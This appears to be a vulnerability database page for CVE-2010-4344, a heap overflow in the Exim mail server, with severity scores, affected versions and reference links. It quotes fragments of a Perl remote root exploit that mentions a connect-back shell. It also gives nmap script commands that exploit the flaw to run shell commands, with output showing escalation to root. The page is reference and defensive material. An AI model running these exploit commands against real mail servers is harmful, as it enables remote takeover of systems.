Published: 14/12/2010 Updated: 13/02/2023

CVSS v2 Base Score: 9.3 | Impact Score: 10 | Exploitability Score: 8.6

VMScore: 971

Vector: AV:N/AC:M/Au:N/C:C/I:C/A:C

Heap-based buffer overflow in the string_vformat function in string.c in Exim prior to 4.70 allows remote malicious users to execute arbitrary code via an SMTP session that includes two MAIL commands in conjunction with a large message containing crafted headers, leading to improper rejection logging.

Vulnerable Product	Search on Vulmon	Subscribe to Product
exim exim 2.11
exim exim 4.66
exim exim 4.10
exim exim 3.16
exim exim 3.21
exim exim 3.01
exim exim 3.31
exim exim 4.24
exim exim 3.33
exim exim 3.30
exim exim 4.30
exim exim 4.21
exim exim 4.03
exim exim 4.51
exim exim 4.67
exim exim 4.63
exim exim 4.00
exim exim 4.43
exim exim 4.22
exim exim 3.10
exim exim 4.40
exim exim 4.52
exim exim 3.36
exim exim 3.15
exim exim 4.60
exim exim 4.61
exim exim 2.12
exim exim 4.68
exim exim 4.54
exim exim 4.02
exim exim 4.23
exim exim 4.01
exim exim 3.34
exim exim
exim exim 3.00
exim exim 4.62
exim exim 3.02
exim exim 3.03
exim exim 3.12
exim exim 3.20
exim exim 4.12
exim exim 3.22
exim exim 4.32
exim exim 4.11
exim exim 4.42
exim exim 4.05
exim exim 4.31
exim exim 3.14
exim exim 3.11
exim exim 3.35
exim exim 4.44
exim exim 4.14
exim exim 4.64
exim exim 4.04
exim exim 4.41
exim exim 4.20
exim exim 2.10
exim exim 4.65
exim exim 4.53
exim exim 4.33
exim exim 3.13
exim exim 4.50
exim exim 3.32
exim exim 4.34

Debian Bug report logs - #606612 exim4: Exploitable memory corruption vulnerability (CVE-2010-4344) Package: exim4; Maintainer for exim4 is Exim4 Maintainers <pkg-exim4-maintainers@listsaliothdebianorg>; Source for exim4 is src:exim4 (PTS, buildd, popcon) Reported by: Dominic Hargreaves <dom@earthli> Date: Fri, 1 ...

A remote attacker could send crafted email to gain root access ...

#Exim 463 (RedHat/Centos/Debian) Remote Root Exploit by Kingcope #Modified perl version of metasploit module =for comment use this connect back shell as "trojanurl" and be sure to setup a netcat, ---snip--- $system = '/bin/sh'; $ARGC=@ARGV; if ($ARGC!=2) { print "Usage: $0 [Host] [Port] \n\n"; die "Ex: $0 127001 2121 \n"; } use Socket ...

## # $Id: exim4_string_formatrb 11352 2010-12-16 17:30:24Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions Please see the Metasploit # Framework web site for more information on licensing and terms of use # metasploitcom/framework/ ## require 'msf/core' c ...

Checks for and/or exploits a heap overflow within versions of Exim prior to version 4.69 (CVE-2010-4344) and a privilege escalation vulnerability in Exim 4.72 and prior (CVE-2010-4345).

nmap --script=smtp-vuln-cve2010-4344 --script-args="smtp-vuln-cve2010-4344.exploit" -pT:25,465,587 <host>
nmap --script=smtp-vuln-cve2010-4344 --script-args="exploit.cmd='uname -a'" -pT:25,465,587 <host>

PORT   STATE SERVICE
25/tcp open  smtp
| smtp-vuln-cve2010-4344:
| Exim heap overflow vulnerability (CVE-2010-4344):
|   Exim (CVE-2010-4344): VULNERABLE
|     Shell command 'uname -a': Linux qemu-ubuntu-x32 2.6.38-8-generic #42-Ubuntu SMP Fri Jan 21 17:40:48 UTC 2011 i686 GNU/Linux
| Exim privileges escalation vulnerability (CVE-2010-4345):
|   Exim (CVE-2010-4345): VULNERABLE
|     Before 'id': uid=121(Debian-exim) gid=128(Debian-exim) groups=128(Debian-exim),45(sasl)
|_    After  'id': uid=0(root) gid=128(Debian-exim) groups=0(root)

Checks for and/or exploits a heap overflow within versions of Exim prior to version 4.69 (CVE-2010-4344) and a privilege escalation vulnerability in Exim 4.72 and prior (CVE-2010-4345).

nmap --script=smtp-vuln-cve2010-4344 --script-args="smtp-vuln-cve2010-4344.exploit" -pT:25,465,587 <host>
nmap --script=smtp-vuln-cve2010-4344 --script-args="exploit.cmd='uname -a'" -pT:25,465,587 <host>

PORT   STATE SERVICE
25/tcp open  smtp
| smtp-vuln-cve2010-4344:
| Exim heap overflow vulnerability (CVE-2010-4344):
|   Exim (CVE-2010-4344): VULNERABLE
|     Shell command 'uname -a': Linux qemu-ubuntu-x32 2.6.38-8-generic #42-Ubuntu SMP Fri Jan 21 17:40:48 UTC 2011 i686 GNU/Linux
| Exim privileges escalation vulnerability (CVE-2010-4345):
|   Exim (CVE-2010-4345): VULNERABLE
|     Before 'id': uid=121(Debian-exim) gid=128(Debian-exim) groups=128(Debian-exim),45(sasl)
|_    After  'id': uid=0(root) gid=128(Debian-exim) groups=0(root)

CUMES - C Unrestricted Mail Exchange Server (under construction)

(!) UNDER CONSTRUCTION CUMES - C Unrestricted Mail Exchange Server CUMES is (or will be) a free and secure MTA, partially inspired by qmail Under construction Unrestricted: CUMES is not Free, but with restrictions, Software, but MIT-Licensed You can do (almost) everything with the code Motivation Every few months, or even days, another security hole shows up in sendmail, p

Scan d'énumération de cibles

Enums_Scan Des Scans d'énumération de cibles, ports et protocoles multiples en bash autoscan_nmap Ce script scanne un réseau ou une @IP nmap -p- --min-rate 1000 "$target" Cette partie de la commande utilise Nmap, un outil d'analyse réseau Il analyse un hôte cible à la recherche de ports ouverts Les options utilis&

CWE-119 http://lists.exim.org/lurker/message/20101210.164935.385e04d0.en.html https://bugzilla.redhat.com/show_bug.cgi?id=661756 http://secunia.com/advisories/40019 http://www.exim.org/lurker/message/20101207.215955.bb32d4f2.en.html http://www.theregister.co.uk/2010/12/11/exim_code_execution_peril/http://git.exim.org/exim.git/commit/24c929a27415c7cfc7126c47e4cad39acf3efa6b http://openwall.com/lists/oss-security/2010/12/10/1 http://www.metasploit.com/modules/exploit/unix/smtp/exim4_string_format ftp://ftp.exim.org/pub/exim/ChangeLogs/ChangeLog-4.70 http://www.osvdb.org/69685 http://bugs.exim.org/show_bug.cgi?id=787 http://www.ubuntu.com/usn/USN-1032-1 http://lists.opensuse.org/opensuse-security-announce/2010-12/msg00003.html http://www.debian.org/security/2010/dsa-2131 http://secunia.com/advisories/42576 http://www.vupen.com/english/advisories/2010/3171 http://www.vupen.com/english/advisories/2010/3172 http://secunia.com/advisories/42586 http://www.vupen.com/english/advisories/2010/3186 http://www.vupen.com/english/advisories/2010/3204 http://www.redhat.com/support/errata/RHSA-2010-0970.html http://secunia.com/advisories/42587 http://secunia.com/advisories/42589 http://www.vupen.com/english/advisories/2010/3181 http://www.vupen.com/english/advisories/2010/3246 http://www.kb.cert.org/vuls/id/682457 http://www.securityfocus.com/bid/45308 http://www.securitytracker.com/id?1024858 http://www.cpanel.net/2010/12/exim-remote-memory-corruption-vulnerability-notification-cve-2010-4344.html http://atmail.com/blog/2010/atmail-6204-now-available/http://www.vupen.com/english/advisories/2010/3317 http://www.securityfocus.com/archive/1/515172/100/0/threaded http://www.openwall.com/lists/oss-security/2021/05/04/7 https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=606612 https://usn.ubuntu.com/1032-1/https://nvd.nist.gov https://www.exploit-db.com/exploits/15725/https://www.kb.cert.org/vuls/id/682457

CVE-2010-4344

Vulnerability Summary

Vulnerability Trend

Vendor Advisories

Exploits

Nmap Scripts

Github Repositories

References

Vulmon Search

About

Products

Connect